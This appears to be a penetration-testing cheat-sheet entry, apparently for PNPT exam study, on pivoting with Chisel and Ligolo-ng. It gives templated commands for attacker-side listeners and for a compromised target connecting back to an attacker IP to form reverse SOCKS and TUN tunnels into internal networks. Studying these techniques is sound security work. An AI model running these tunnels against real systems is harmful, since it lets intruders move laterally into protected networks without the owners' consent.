Pivoting & Tunneling (Ligolo-ng & Chisel)

🛠️ Command

Chisel Server (Attacker)

Start a Chisel server to listen for reverse connections.

chisel server -p {{port}} --reverse

Chisel Client (Target)

Connect back to the attacker’s server and create a SOCKS proxy.

chisel client {{attacker_ip}}:{{port}} R:{{socks_port}}:socks

Ligolo-ng Proxy (Attacker)

Start the Ligolo-ng proxy server with a self-signed certificate.

./proxy -selfcert -laddr {{attacker_ip}}:{{port}}

Ligolo-ng Agent (Target)

Connect the target agent back to the attacker’s proxy.

./agent -connect {{attacker_ip}}:{{port}} -ignore-cert

Ligolo-ng Interface Setup (Attacker)

Create and enable the TUN interface for routing traffic.

sudo ip tuntap add user {{user}} mode tun ligolo; sudo ip link set ligolo up; sudo ip route add {{internal_network}} dev ligolo

📝 Description

Advanced networking techniques for routing traffic through compromised hosts to reach internal segments.

Pivoting is a core skill in the PNPT exam. Chisel provides a reliable SOCKS5 proxy over HTTP, while Ligolo-ng offers a higher-performance TUN-based approach that allows for direct routing and better tool compatibility (like Nmap or ICMP) through the tunnel.

🔗 References

• https://github.com/jpillora/chisel
• https://github.com/nicocha30/ligolo-ng